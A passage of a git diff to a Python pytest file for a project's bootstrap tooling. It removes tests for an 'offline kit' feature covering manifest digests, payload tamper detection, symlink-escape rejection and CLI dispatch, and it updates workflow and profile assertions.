b/implementations/python/tests/test_issue_1217_bootstrap_profiles.py @@ -8,21 +8,14 @@ import ssl import subprocess import tarfile -import tempfile import threading import time -from contextlib import nullcontext from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from pathlib import Path from types import SimpleNamespace -import jsonschema import pytest -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric import rsa -from cryptography.x509.oid import NameOID -from tools import bootstrap_profile, maintained_client_acquisition, verified_tool_installation +from tools import bootstrap_profile, maintained_client_acquisition REPO_ROOT = Path(__file__).resolve().parents[3] @@ -50,8 +43,9 @@ def test_checked_in_host_profiles_join_locked_payloads_and_evidence() -> None: linux["optional_capability_ids"] ) for profile in profiles.values(): - assert profile["offline_kit"]["credential_free"] is True - assert profile["offline_kit"]["network_fallback"] == "prohibited" + assert "offline_kit" not in profile + assert "qualification_record_ids" not in profile + assert profile["host_prerequisite_package_ids"] assert all("secret" not in ref.lower() and "token" not in ref.lower() for ref in profile["credential_refs"]) @@ -139,24 +133,18 @@ def test_qualification_and_python_consumers_select_reviewed_host_labels() -> Non "profile": "public-ubuntu-24.04-x86_64", "runner": "ubuntu-24.04", "target": "x86_64-unknown-linux-gnu", - "tool_closure": "public-linux-x86_64-cp314-tools", - "tool_requirements": "implementations/tooling/python/smoke/tools-linux-x86_64-cp314.txt", "project_closure": "public-linux-x86_64-cp314-all-extras", }, { "profile": "public-linux-arm64", "runner": "ubuntu-24.04-arm", "target": "aarch64-unknown-linux-gnu", - "tool_closure": "public-linux-arm64-cp314-tools", - "tool_requirements": "implementations/tooling/python/smoke/tools-linux-arm64-cp314.txt", "project_closure": "public-linux-arm64-cp314-all-extras", }, { "profile": "public-macos-arm64", "runner": "macos-15", "target": "aarch64-apple-darwin", - "tool_closure": "public-macos-arm64-cp314-tools", - "tool_requirements": "implementations/tooling/python/smoke/tools-macos-arm64-cp314.txt", "project_closure": "public-macos-arm64-cp314-all-extras", }, ] @@ -166,9 +154,7 @@ def test_qualification_and_python_consumers_select_reviewed_host_labels() -> Non (REPO_ROOT / "implementations/tooling/profiles/development-profiles.json").read_text(encoding="utf-8") )["python_closure_profiles"] } - assert all( - closure_profiles[item["tool_closure"]]["smoke_requirements"] == item["tool_requirements"] for item in matrix - ) + assert all(item["project_closure"] in closure_profiles for item in matrix) assert "UV_NO_BINARY_PACKAGE" not in workflow["jobs"]["generic-tool-platforms"].get("env", {}) assert workflow["jobs"]["generic-tool-platforms"]["env"]["RAES_PYTHON_COMPATIBILITY_SMOKE_ONLY"] == "1" setup_uv = next( @@ -178,35 +164,10 @@ def test_qualification_and_python_consumers_select_reviewed_host_labels() -> Non ) assert setup_uv["with"]["enable-cache"] is False workflow_text = (REPO_ROOT / ".github/workflows/bootstrap-qualification.yml").read_text(encoding="utf-8") - assert "offline-kit-fetch" in workflow_text - assert "offline-kit-install-python" in workflow_text - assert "offline-kit-manifest" in workflow_text - assert "offline-kit-verify" in workflow_text - assert "tools.bootstrap_profile offline-kit-verify" in workflow_text - assert '"${restored_python}" -m tools.bootstrap_profile offline-kit-verify' not in workflow_text - assert "UV_PYTHON_DOWNLOADS=never" in workflow_text - assert "UV_OFFLINE=1" in workflow_text - assert 'RAES_PYTHON_CLOSURE_WHEELHOUSE="${restored_root}/project-wheelhouse"' in workflow_text - assert 'UV_FIND_LINKS="${restored_root}/tool-wheelhouse,${restored_root}/project-wheelhouse"' in workflow_text - assert 'runtime_root="$(mktemp -d "${GITHUB_WORKSPACE}/.raes-bootstrap-runtime.XXXXXX")"' in workflow_text + assert "offline-kit" not in workflow_text assert "-s local-installation-qualification -- --output local-installation-qualification.json" in workflow_text - assert 'export UV_CACHE_DIR="${runtime_root}/uv-cache"' in workflow_text - assert 'restored_tool_environment="${runtime_root}/tool-environment"' in workflow_text - assert 'from importlib.metadata import version; print(version("nox"))' in workflow_text - assert "nox.__version__" not in workflow_text - assert "tools.python_closure" in workflow_text - assert "wheelhouse-manifest.json" in workflow_text - assert "bootstrap-wheelhouse-verify" in workflow_text - assert 'PYTHONDONTWRITEBYTECODE: "1"' in workflow_text - assert 'export UV_PYTHON="${restored_python}"' in workflow_text - assert 'cp -R "${restored_root}/uv-cache"' not in workflow_text - assert ".qualification-runtime-cache" not in workflow_text - assert "mkdir .qualification-evidence-root" in workflow_text - assert "--offline-kit-root .qualification-evidence-root" in workflow_text - assert "record-case T12" in workflow_text - assert "bootstrap-offline-kit.tar" in workflow_text canonical = yaml.safe_load((REPO_ROOT / ".github/workflows/canonical-verification.yml").read_text(encoding="utf-8")) - assert canonical["jobs"]["verify"]["runs-on"] == "ubuntu-22.04" + assert canonical["jobs"]["proof"]["runs-on"] == "ubuntu-22.04" for path in sorted((REPO_ROOT / ".github/workflows").glob("*.yml")): parsed = yaml.safe_load(path.read_text(encoding="utf-8")) for job in parsed.get("jobs", {}).values(): @@ -561,10 +522,7 @@ def test_native_setup_refuses_mutable_repository_execution() -> None: "native_family": "ubuntu-apt", "native_repository_identity": "ubuntu:noble:reviewed-snapshot", "trust_root_refs": ["ubuntu-archive-keyring"], - "offline_kit": { - "host_prerequisite_package_ids": ["git", "curl"], - "host_trust_root_refs": ["ubuntu-archive-keyring"], - }, + "host_prerequisite_package_ids": ["git", "curl"], } ) assert result == { @@ -575,7 +533,7 @@ def test_native_setup_refuses_mutable_repository_execution() -> None: "host_prerequisite_package_ids": ["git", "curl"], "host_trust_root_refs": ["ubuntu-archive-keyring"], "outcome": "not-run", - "reason_code": "immutable-native-closure-required", + "reason_code": "operator-installs-native-prerequisites", } assert not hasattr(bootstrap_profile, "run_native_setup") @@ -679,692 +637,7 @@ def fake_run(argv: list[str], **kwargs: object) -> SimpleNamespace: ) -def test_qualification_evidence_binds_profile_payloads_versions_and_policy( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - from tools.check_tooling_artifact_policy import select_tooling_host_profile - - host_selection = select_tooling_host_profile(REPO_ROOT, host_profile_id="public-ubuntu-24.04-x86_64") - - def fake_run(argv: list[str], **_kwargs: object) -> SimpleNamespace: - versions = { - "/usr/bin/curl": "curl 8.5.0", - "/usr/bin/git": "git version 2.55.0", - "/usr/bin/sha256sum": "sha256sum 9.4", - "/usr/bin/gh": "gh version 2.98.0", - } - return SimpleNamespace(returncode=0, stdout=versions.get(argv[0], "uv 0.12.4"), stderr="") - - monkeypatch.setattr(bootstrap_profile.subprocess, "run", fake_run) - monkeypatch.setattr(bootstrap_profile, "load_tooling_host_profile_selection", lambda _host_id: host_selection) - monkeypatch.setattr(bootstrap_profile.shutil, "which", lambda _name: "/qualified/uv") - expected_python_identity = { - "implementation": "CPython", - "version": "3.14.7", - "abi": "cp314", - "target": "x86_64-unknown-linux-gnu", - } - monkeypatch.setattr(bootstrap_profile, "observe_current_python_identity", lambda: expected_python_identity) - monkeypatch.setattr( - bootstrap_profile, - "_observed_uv_identity", - lambda _version: { - "implementation": "uv", - "version": "0.12.4", - "abi": "native", - "target": "x86_64-unknown-linux-gnu", - }, - ) - monkeypatch.setenv("ImageOS", "ubuntu24") - monkeypatch.setenv("ImageVersion", "20261005.999.1") - monkeypatch.setenv("RUNNER_ARCH", "X64") - monkeypatch.setattr( - bootstrap_profile, - "_native_client_results", - lambda _host: [ - {"capability_id": capability_id, "outcome": "passed", "version": version} - for capability_id, version in ( - ("git", "2.55.0"), - ("ca-roots", "reviewed"), - ("sha256", "9.4"), - ("curl-unknown-length-max-filesize", "8.5.0"), - ("gh-cli", "2.98.0"), - ) - ], - ) - selections = tuple( - (name, Path(f"/qualified/{name}"), ("--version",), "1.0.0") - for name in ("conftest", "gitleaks", "osv-scanner", "vale") - ) - case_result = bootstrap_profile.record_case_result( - REPO_ROOT, - "T02", - "a" * 40, - "noxfile.py", - ("cpython-3.14", "uv", "conftest", "gitleaks", "osv-scanner", "vale"), - ) - case_path = tmp_path / "t02.json" - case_path.write_text(json.dumps(case_result), encoding="utf-8") - slice_path = tmp_path / "local-installation-qualification.json" - slice_path.write_text( - json.dumps( - { - "schema": "issue-1219-local-installation-qualification/v1", - "passed_cases": ["cold-convergence", "unsafe-lock-rejection"], - "elapsed_seconds": {"cold-convergence": 1.25, "unsafe-lock-rejection": 0.5}, - "coverage": {"canonical_outcome_recorded": False}, - } - ), - encoding="utf-8", - ) - result = bootstrap_profile.build_qualification_evidence( - REPO_ROOT, - "public-ubuntu-24.04-x86_64", - "a" * 40, - "github-actions:OpenRAE/rae:1:1", - python_artifact_id="cpython-3.14", - case_result_paths=(case_path,), - options=bootstrap_profile.QualificationEvidenceOptions( - generic_selections=selections, - limitations=("local-slice-only",), - slice_evidence_paths=(slice_path,), - ), - ) - assert result["outcome"] == "passed" - assert result["base_image_identity"] == "github-runner:ubuntu24:20261005.999.1:X64" - assert result["observed_runner_image"] == "ubuntu24:20261005.999.1:X64" - assert result["native_repository_identity"] == ("github-runner-package-set:ubuntu24:20261005.999.1:X64") - assert len(result["policy_sha256"]) == 64 - assert len(result["harness_sha256"]) == 64 - assert len(result["evidence_sha256"]) == 64 - assert result["limitations"] == ["local-slice-only"] - assert result["test_case_ids"] == ["T02"] - assert [(item["slice_id"], item["canonical_case_id"]) for item in result["slice_results"]] == [ - ("T05-cold-convergence", "T05"), - ("T06-unsafe-lock-rejection", "T06"), - ] - payloads = {item["artifact_id"]: item for item in result["payload_results"]} - assert payloads["cpython-3.14"]["distribution_id"] == "ubuntu-24.04" - assert payloads["cpython-3.14"]["expected_installed_identity"] == expected_python_identity - assert payloads["cpython-3.14"]["observed_installed_identity"] == expected_python_identity - assert {item["artifact_id"] for item in result["payload_results"]} == { - "conftest", - "cpython-3.14", - "gitleaks", - "osv-scanner", - "uv", - "vale", - } - capabilities = {item["capability_id"]: item for item in result["capability_results"]} - assert capabilities["curl-unknown-length-max-filesize"]["version"] == "8.5.0" - assert capabilities["ca-roots"]["outcome"] == "passed" - assert capabilities["base-image"]["outcome"] == "passed" - assert capabilities["native-repository"]["outcome"] == "passed" - schema = json.loads( - (REPO_ROOT / "implementations/tooling/schemas/profiles.schema.json").read_text(encoding="utf-8") - ) - evidence_schema = { - "$schema": schema["$schema"], - "$defs": schema["$defs"], - "$ref": "#/$defs/qualificationRecord", - } - jsonschema.validate(result, evidence_schema) - monkeypatch.setattr( - bootstrap_profile, - "observe_current_python_identity", - lambda: {**expected_python_identity, "abi": "cp314t", "target": "aarch64-unknown-linux-gnu"}, - ) - mismatched = bootstrap_profile.build_qualification_evidence( - REPO_ROOT, - "public-ubuntu-24.04-x86_64", - "a" * 40, - "github-actions:OpenRAE/rae:1:1", - python_artifact_id="cpython-3.14", - case_result_paths=(case_path,), - options=bootstrap_profile.QualificationEvidenceOptions(generic_selections=selections), - ) - assert mismatched["outcome"] == "failed" - mismatched_capabilities = {item["capability_id"]: item for item in mismatched["capability_results"]} - assert mismatched_capabilities["cpython"]["reason_code"] == "payload-identity-mismatch" - - -def test_case_results_are_bound_to_the_exact_harness_and_revision(tmp_path: Path) -> None: - result = bootstrap_profile.record_case_result( - REPO_ROOT, - "T08", - "b" * 40, - "implementations/python/tests/test_issue_1217_bootstrap_profiles.py", - (), - ) - path = tmp_path / "t08.json" - path.write_text(json.dumps(result), encoding="utf-8") - assert bootstrap_profile._load_case_results(REPO_ROOT, (path,), "b" * 40) == [result] - result["harness_sha256"] = "0" * 64 - path.write_text(json.dumps(result), encoding="utf-8") - with pytest.raises(ValueError, match="does not match"): - bootstrap_profile._load_case_results(REPO_ROOT, (path,), "b" * 40) - - -def test_bootstrap_cli_parser_accepts_each_operation_argument_shape(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr( - bootstrap_profile.sys, - "argv", - [ - "bootstrap_profile.py", - "qualification-evidence", - "host", - "a" * 40, - "evidence", - "--python-artifact-id", - "cpython-3.12", - "--case-result", - "t01.json", - "--slice-evidence", - "slices.json", - ], - ) - parsed = bootstrap_profile._parse_args() - assert parsed.operation == "qualification-evidence" - assert parsed.case_result == [Path("t01.json")] - assert parsed.slice_evidence == [Path("slices.json")] - assert parsed.limitation == [] - monkeypatch.setattr(bootstrap_profile.sys, "argv", ["bootstrap_profile.py", "proof-support", "linux-x86_64"]) - assert bootstrap_profile._parse_args().platform_id == "linux-x86_64" - - -_KIT = Path("/kit") -_SOURCE = Path("/source") -_DESTINATION = Path("/destination") -_CLI_OPERATIONS = { - "setup-plan": ( - {"host_profile_id": "host"}, - "native_setup_plan", - {"outcome": "not-run"}, - None, - ), - "inspect-profile": ( - {"host_profile_id": "host"}, - "_native_client_results", - [{"outcome": "passed"}], - [{"outcome": "failed"}], - ), - "generic-tools": ( - {"local_input_root": _KIT}, - "qualify_generic_tools", - {"outcome": "passed"}, - {"outcome": "failed"}, - ), - "qualification-evidence": ( - { - "host_profile_id": "host", - "implementation_revision": "a" * 40, - "evidence_location": "evidence", - "python_artifact_id": "cpython-3.14", - "case_result": [Path("case.json")], - "offline_kit_root": _KIT, - "offline_kit": Path("kit.tar"), - "offline_kit_manifest_sha256": "b" * 64, - "limitation": ["bounded"], - "slice_evidence": [Path("slices.json")], - }, - "build_qualification_evidence", - {"outcome": "passed"}, - {"outcome": "failed"}, - ), - "record-case": ( - { - "test_case_id": "T02", - "implementation_revision": "a" * 40, - "harness_path": "noxfile.py", - "artifact_id": ["uv"], - }, - "record_case_result", - {"test_case_id": "T02"}, - None, - ), - "offline-kit-manifest": ( - {"host_profile_id": "host", "kit_root": _KIT, "python_artifact_id": "cpython-3.14"}, - "build_offline_kit_manifest", - {"entries": []}, - None, - ), - "offline-kit-fetch": ( - {"host_profile_id": "host", "kit_root": _KIT, "artifact_id": ["uv"]}, - "fetch_offline_kit_payloads", - [{"artifact_id": "uv"}], - None, - ), - "offline-kit-manifest-digest": ( - {"manifest_path": Path("manifest.json")}, - "_sha256", - "0" * 64, - None, - ), - "offline-kit-copy-tree": ( - {"source_root": _SOURCE, "destination_root": _DESTINATION}, - "copy_relocatable_tree", - None, - None, - ), - "offline-kit-export-tool-seeds": ( - {"host_profile_id": "host", "source_root": _SOURCE, "destination_root": _DESTINATION}, - "export_immutable_tool_seeds", - None, - None, - ), - "offline-kit-install-python": ( - {"host_profile_id": "host", "kit_root": _KIT, "python_artifact_id": "cpython-3.14"}, - "install_offline_python_payload", - {"artifact_id": "cpython-3.14"}, - None, - ), - "offline-kit-install-uv": ( - {"host_profile_id": "host", "kit_root": _KIT, "uv_artifact_id": "uv"}, - "install_offline_uv_payload", - {"artifact_id": "uv"}, - None, - ), - "offline-kit-verify": ( - { - "host_profile_id": "host", - "kit_root": _KIT, - "python_artifact_id": "cpython-3.14", - "trusted_manifest_sha256": "b" * 64, - }, - "verify_offline_kit", - {"outcome": "passed"}, - {"outcome": "failed"}, - ), - "proof-support": ( - {"platform_id": "linux-x86_64"}, - "proof_support_outcome", - "required", - None, - ), -} - - -def _expected_collaborator_call( - operation: str, arguments: dict[str, object] -) -> tuple[tuple[object, ...], dict[str, object]]: - host = {"host_profile_id": "host"} - expected: dict[str, tuple[tuple[object, ...], dict[str, object]]] = { - "setup-plan": ((host,), {}), - "inspect-profile": ((host,), {}), - "generic-tools": ((), {"local_input_root": _KIT}), - "record-case": ((Path.cwd(), "T02", "a" * 40, "noxfile.py", ["uv"]), {}), - "offline-kit-manifest": (("host", _KIT), {"python_artifact_id": "cpython-3.14"}), - "offline-kit-fetch": (("host", _KIT, ["uv"]), {}), - "offline-kit-manifest-digest": ((Path("manifest.json"),), {}), - "offline-kit-copy-tree": ((_SOURCE, _DESTINATION), {}), - "offline-kit-export-tool-seeds": (("host", _SOURCE, _DESTINATION), {}), - "offline-kit-install-python": (("host", _KIT, "cpython-3.14"), {}), - "offline-kit-install-uv": (("host", _KIT, "uv"), {}), - "offline-kit-verify": ( - ("host", _KIT), - {"python_artifact_id": "cpython-3.14", "trusted_manifest_sha256": "b" * 64}, - ), - "proof-support": (("linux-x86_64",), {}), - } - if operation != "qualification-evidence": - return expected[operation] - options = bootstrap_profile.QualificationEvidenceOptions( - offline_kit_root=_KIT, - offline_kit_archive_path=Path("kit.tar"), - offline_kit_manifest_sha256="b" * 64, - limitations=["bounded"], - slice_evidence_paths=[Path("slices.json")], - ) - return ( - (Path.cwd(), "host", "a" * 40, "evidence"), - {"python_artifact_id": "cpython-3.14", "case_result_paths": [Path("case.json")], "options": options}, - ) - - -@pytest.mark.parametrize( - ("operation", "failed"), - [ - *((operation, False) for operation in _CLI_OPERATIONS), - *((operation, True) for operation, value in _CLI_OPERATIONS.items() if value[3] is not None), - ], -) -def test_bootstrap_cli_dispatch_forwards_arguments_and_tracks_outcomes( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], - operation: str, - failed: bool, -) -> None: - arguments, collaborator, passed_result, failed_result = _CLI_OPERATIONS[operation] - calls: list[tuple[tuple[object, ...], dict[str, object]]] = [] - - def record(*args: object, **kwargs: object) -> object: - calls.append((args, kwargs)) - return failed_result if failed else passed_result - - monkeypatch.setattr(bootstrap_profile, "_parse_args", lambda: SimpleNamespace(operation=operation, **arguments)) - monkeypatch.setattr( - bootstrap_profile, "_load_host_selection", lambda host_id: ({"host_profile_id": host_id}, {}, "digest") - ) - monkeypatch.setattr(bootstrap_profile, "_load_offline_kit_manifest", lambda _path: {}) - monkeypatch.setattr(bootstrap_profile, collaborator, record) - - exit_code = bootstrap_profile.main() - - assert calls == [_expected_collaborator_call(operation, arguments)] - assert exit_code == (1 if failed else 0) - output = capsys.readouterr().out - if passed_result is not None: - assert output.strip() - - -def test_offline_tool_seed_export_and_private_restore_use_canonical_installation_identity( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setattr(verified_tool_installation, "_portable_lock", lambda _path: nullcontext()) - artifacts: dict[str, dict[str, object]] = {} - source_root = tmp_path / "source-installations" - for artifact_id in ("conftest", "gitleaks", "osv-scanner", "vale"): - payload = artifact_id.encode() - artifacts[artifact_id] = { - "artifact_id": artifact_id, - "artifact_class": "generic-cli", - "version": "1.0.0", - "policy_refs": ["artifact-integrity-v1"], - "source": {"repository": "https://example.invalid/tools", "release": "v1.0.0"}, - "platform": { - "platform_id": "linux-arm64", - "source_urls": [f"https://example.invalid/{artifact_id}"], - "raw_manifest": [ - { - "path": f"{artifact_id}.archive", - "sha256": hashlib.sha256(payload).hexdigest(), - "size": len(payload), - } - ], - "installed_manifest": [ - { - "path": artifact_id, - "sha256": hashlib.sha256(payload).hexdigest(), - "size": len(payload), - "executable": True, - } - ], - }, - } - selection = bootstrap_profile._generic_locked_selection(artifacts[artifact_id], profile_id="offline-kit") - source_tree = verified_tool_installation.installation_tree_path(source_root, selection) - source_tree.mkdir(parents=True) - binary = source_tree / artifact_id - binary.write_bytes(payload) - binary.chmod(0o500) - source_tree.chmod(0o500) - - monkeypatch.setattr( - bootstrap_profile, - "_load_host_selection", - lambda _profile: ({"platform_id": "linux-arm64"}, artifacts, "a" * 64), - ) - kit_root = tmp_path / "kit" - seed_root = kit_root / ".cache/raes-sdl/tooling/installations" - bootstrap_profile.export_immutable_tool_seeds("host-a", source_root, seed_root) - runtime_root = tmp_path / "runtime" - runtime_root.mkdir(mode=0o700) - selected = bootstrap_profile._offline_generic_tool_selections(kit_root, runtime_root, "linux-arm64", artifacts) - assert [item[0] for item in selected] == ["conftest", "gitleaks", "osv-scanner", "vale"] - assert all(path.is_relative_to(runtime_root) for _artifact, path, _args, _version in selected) - compromised = ( - verified_tool_installation.installation_tree_path( - seed_root, - bootstrap_profile._generic_locked_selection(artifacts["conftest"], profile_id="offline-kit"), - ) - / "conftest" - ) - compromised.chmod(0o700) - second_runtime = tmp_path / "runtime-2" - second_runtime.mkdir(mode=0o700) - with pytest.raises(ValueError, match="seed differs from the lock"): - bootstrap_profile._offline_generic_tool_selections(kit_root, second_runtime, "linux-arm64", artifacts) - - -@pytest.mark.parametrize( - "tampered_relative", - ("bin/uv", "python/cpython/bin/python3.14"), -) -def test_offline_kit_requires_external_trust_before_executing_installed_payloads( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, - tampered_relative: str, -) -> None: - monkeypatch.setattr(verified_tool_installation, "_portable_lock", lambda _path: nullcontext()) - artifact_ids = {"conftest", "cpython-3.14", "gitleaks", "osv-scanner", "uv", "vale"} - kit_root = tmp_path / "kit" - artifacts: list[dict[str, object]] = [] - for artifact_id in sorted(artifact_ids): - version = "3.14.7" if artifact_id == "cpython-3.14" else "0.12.4" if artifact_id == "uv" else "1.0.0" - platform: dict[str, object] = { - "platform_id": "linux-arm64", - "raw_manifest": [], - "source_urls": [f"https://example.invalid/{artifact_id}"], - } - raw = f"raw-{artifact_id}".encode() - raw_path = kit_root / "archives" / artifact_id / f"{artifact_id}.archive" - raw_path.parent.mkdir(parents=True) - raw_path.write_bytes(raw) - platform["raw_manifest"] = [ - {"path": f"{artifact_id}.archive", "sha256": hashlib.sha256(raw).hexdigest(), "size": len(raw)} - ] - if artifact_id in {"cpython-3.14", "uv"}: - platform["installed_identity"] = { - "implementation": "CPython" if artifact_id == "cpython-3.14" else "uv", - "version": version, - "abi": "cp314" if artifact_id == "cpython-3.14" else "native", - "target": "aarch64-unknown-linux-gnu", - } - else: - platform["installed_manifest"] = [ - { - "path": artifact_id, - "sha256": hashlib.sha256(artifact_id.encode()).hexdigest(), - "size": len(artifact_id), - "executable": True, - } - ] - artifacts.append( - { - "artifact_id": artifact_id, - "artifact_class": "generic-cli" if artifact_id not in {"cpython-3.14", "uv"} else "bootstrap", - "version": version, - "policy_refs": ["artifact-integrity-v1"], - "source": {"repository": "https://example.invalid/tools", "release": f"v{version}"}, - "platform": platform, - } - ) - artifacts_by_id = {artifact["artifact_id"]: artifact for artifact in artifacts} - seed_root = kit_root / ".cache/raes-sdl/tooling/installations" - for artifact_id in ("conftest", "gitleaks", "osv-scanner", "vale"): - locked = bootstrap_profile._generic_locked_selection(artifacts_by_id[artifact_id], profile_id="offline-kit") - seed_tree = verified_tool_installation.installation_tree_path(seed_root, locked) - seed_tree.mkdir(parents=True) - binary = seed_tree / artifact_id - binary.write_bytes(artifact_id.encode()) - binary.chmod(0o500) - seed_tree.chmod(0o500) - for directory in sorted( - [seed_root, *(path for path in seed_root.rglob("*") if path.is_dir())], - key=lambda path: len(path.parts), - reverse=True, - ): - directory.chmod(0o500) - uv_path = kit_root / "bin/uv" - uv_path.parent.mkdir(parents=True) - uv_path.write_bytes(b"uv") - python_path = kit_root / "python/cpython/bin/python3.14" - python_path.parent.mkdir(parents=True) - python_path.write_bytes(b"python") - selection = { - "host_profile": { - "host_profile_id": "host-a", - "platform_id": "linux-arm64", - "offline_kit": { - "kit_id": "host-a-kit", - "artifact_ids": sorted(artifact_ids), - "host_prerequisite_package_ids": ["git", "curl"], - }, - }, - "artifacts": artifacts, - "policy_sha256": "a" * 64, - } - monkeypatch.setattr(bootstrap_profile, "load_tooling_host_profile_selection", lambda _host_id: selection) - monkeypatch.setattr( - bootstrap_profile, - "_observed_uv_identity", - lambda version: { - "implementation": "uv", - "version": version, - "abi": "native", - "target": "aarch64-unknown-linux-gnu", - }, - ) - - calls: list[list[str]] = [] - - def fake_run(argv: list[str], **_kwargs: object) -> SimpleNamespace: - calls.append(argv) - stdout = ( - json.dumps( - [ - "CPython", - "3.14.7", - False, - "Linux", - "aarch64", - str(python_path), - str(python_path.parents[2]), - ] - ) - if argv[0].endswith("python3.14") - else "uv 0.12.4\n" - ) - return SimpleNamespace(returncode=0, stdout=stdout, stderr="") - - monkeypatch.setattr(bootstrap_profile.subprocess, "run", fake_run) - manifest = bootstrap_profile.build_offline_kit_manifest("host-a", kit_root, python_artifact_id="cpython-3.14") - manifest_path = kit_root / "offline-kit-manifest.json" - manifest_path.write_text(json.dumps(manifest), encoding="utf-8") - trusted_digest = bootstrap_profile._sha256(manifest_path) - unsafe_ambient_temp = tmp_path / "unsafe-ambient-temp" - unsafe_ambient_temp.mkdir() - unsafe_ambient_temp.chmod(0o777) - monkeypatch.setattr(tempfile, "tempdir", str(unsafe_ambient_temp)) - result = bootstrap_profile.verify_offline_kit( - "host-a", - kit_root, - python_artifact_id="cpython-3.14", - trusted_manifest_sha256=trusted_digest, - ) - assert result["outcome"] == "passed" - monkeypatch.setattr( - bootstrap_profile, - "_observed_uv_identity", - lambda version: { - "implementation": "uv", - "version": version, - "abi": "native", - "target": "x86_64-unknown-linux-gnu", - }, - ) - wrong_uv = bootstrap_profile.verify_offline_kit( - "host-a", - kit_root, - python_artifact_id="cpython-3.14", - trusted_manifest_sha256=trusted_digest, - ) - assert wrong_uv["outcome"] == "failed" - assert wrong_uv["uv"]["reason_code"] == "payload-identity-mismatch" - monkeypatch.setattr( - bootstrap_profile, - "_observed_uv_identity", - lambda version: { - "implementation": "uv", - "version": version, - "abi": "native", - "target": "aarch64-unknown-linux-gnu", - }, - ) - - def wrong_python_run(argv: list[str], **_kwargs: object) -> SimpleNamespace: - stdout = ( - json.dumps( - [ - "CPython", - "3.14.7", - True, - "Linux", - "x86_64", - str(python_path), - str(python_path.parents[2]), - ] - ) - if argv[0].endswith("python3.14") - else "uv 0.12.4\n" - ) - return SimpleNamespace(returncode=0, stdout=stdout, stderr="") - - monkeypatch.setattr(bootstrap_profile.subprocess, "run", wrong_python_run) - wrong_python = bootstrap_profile.verify_offline_kit( - "host-a", - kit_root, - python_artifact_id="cpython-3.14", - trusted_manifest_sha256=trusted_digest, - ) - assert wrong_python["outcome"] == "failed" - assert wrong_python["python"]["outcome"] == "failed" - monkeypatch.setattr(bootstrap_profile.subprocess, "run", fake_run) - (kit_root / tampered_relative).write_bytes(b"substituted") - rewritten = bootstrap_profile.build_offline_kit_manifest("host-a", kit_root, python_artifact_id="cpython-3.14") - manifest_path.write_text(json.dumps(rewritten), encoding="utf-8") - calls.clear() - with pytest.raises(ValueError, match="externally trusted digest"): - bootstrap_profile.verify_offline_kit( - "host-a", - kit_root, - python_artifact_id="cpython-3.14", - trusted_manifest_sha256=trusted_digest, - ) - assert calls == [] - - -def test_offline_kit_manifest_rejects_an_escaping_symlink(tmp_path: Path) -> None: - kit_root = tmp_path / "kit" - kit_root.mkdir() - (kit_root / "escape").symlink_to(tmp_path / "outside") - with pytest.raises(ValueError, match="escaping symbolic link"): - bootstrap_profile._offline_kit_entries(kit_root) - - -def test_relocatable_tree_copy_materializes_links_and_omits_dangling_links(tmp_path: Path) -> None: - source_root = tmp_path / "source" - source_bin = source_root / "bin" - source_bin.mkdir(parents=True) - (source_bin / "python3.14").write_bytes(b"python") - (source_bin / "python").symlink_to(source_bin / "python3.14") - - destination_root = tmp_path / "destination" - bootstrap_profile.copy_relocatable_tree(source_root, destination_root) - relocated = destination_root / "bin/python" - assert relocated.is_file() - assert not relocated.is_symlink() - assert relocated.read_bytes() == b"python" - - (source_root / "dangling").symlink_to(tmp_path / "missing") - copied_root = tmp_path / "copied" - bootstrap_profile.copy_relocatable_tree(source_root, copied_root) - assert not (copied_root / "dangling").exists() - - -def test_offline_python_install_extracts_only_the_locked_relocatable_archive( +def test_bootstrap_python_install_extracts_only_the_locked_relocatable_archive( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, ) -> None: @@ -1395,72 +668,19 @@ def test_offline_python_install_extracts_only_the_locked_relocatable_archive( lambda _host_id: ({}, {"cpython-3.14": artifact}, "a" * 64), ) - result = bootstrap_profile.install_offline_python_payload("host-a", kit_root, "cpython-3.14") + result = bootstrap_profile.install_python_payload("host-a", kit_root, "cpython-3.14") installed = kit_root / result["path"] / "bin/python3.14" assert installed.read_bytes() == b"relocatable-python" archive.write_bytes(archive.read_bytes() + b"tampered") with pytest.raises(ValueError, match="differs from the validated lock"): - bootstrap_profile.install_offline_python_payload("host-a", kit_root, "cpython-3.14") + bootstrap_profile.install_python_payload("host-a", kit_root, "cpython-3.14") -def test_offline_kit_manifest_uses_the_profile_specific_proof_closure( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - kit_root = tmp_path / "proof-kit" - (kit_root / "bin").mkdir(parents=True) - (kit_root / "bin/uv").write_bytes(b"uv") - (kit_root / "python/cpython/bin").mkdir(parents=True) - (kit_root / "python/cpython/bin/python3.12").write_bytes(b"python") - artifacts = [] - for artifact_id, version in (("cpython-3.12", "3.12.14"), ("isabelle", "2025-2"), ("uv", "0.12.4")): - raw = f"raw-{artifact_id}".encode() - raw_path = kit_root / "archives" / artifact_id / f"{artifact_id}.archive" - raw_path.parent.mkdir(parents=True) - raw_path.write_bytes(raw) - platform = { - "raw_manifest": [ - { - "path": raw_path.name, - "sha256": hashlib.sha256(raw).hexdigest(), - "size": len(raw), - } - ] - } - if artifact_id in {"cpython-3.12", "uv"}: - platform["installed_identity"] = { - "implementation": "CPython" if artifact_id == "cpython-3.12" else "uv", - "version": version, - "abi": "cp312" if artifact_id == "cpython-3.12" else "native", - "target": "x86_64-unknown-linux-gnu", - } - artifacts.append({"artifact_id": artifact_id, "version": version, "platform": platform}) - selection = { - "host_profile": { - "host_profile_id": "proof-host", - "platform_id": "linux-x86_64", - "offline_kit": { - "kit_id": "proof-kit", - "artifact_ids": ["cpython-3.12", "isabelle", "uv"], - "host_prerequisite_package_ids": ["libc-bin", "bubblewrap", "fontconfig", "fonts-dejavu-core"], - }, - }, - "artifacts": artifacts, - "policy_sha256": "a" * 64, - } - monkeypatch.setattr(bootstrap_profile, "load_tooling_host_profile_selection", lambda _host_id: selection) - manifest = bootstrap_profile.build_offline_kit_manifest( - "proof-host", - kit_root, - python_artifact_id="cpython-3.12", - ) - assert manifest["artifact_ids"] == ["cpython-3.12", "isabelle", "uv"] - assert manifest["host_prerequisite_package_ids"] == ["bubblewrap", "fontconfig", "fonts-dejavu-core", 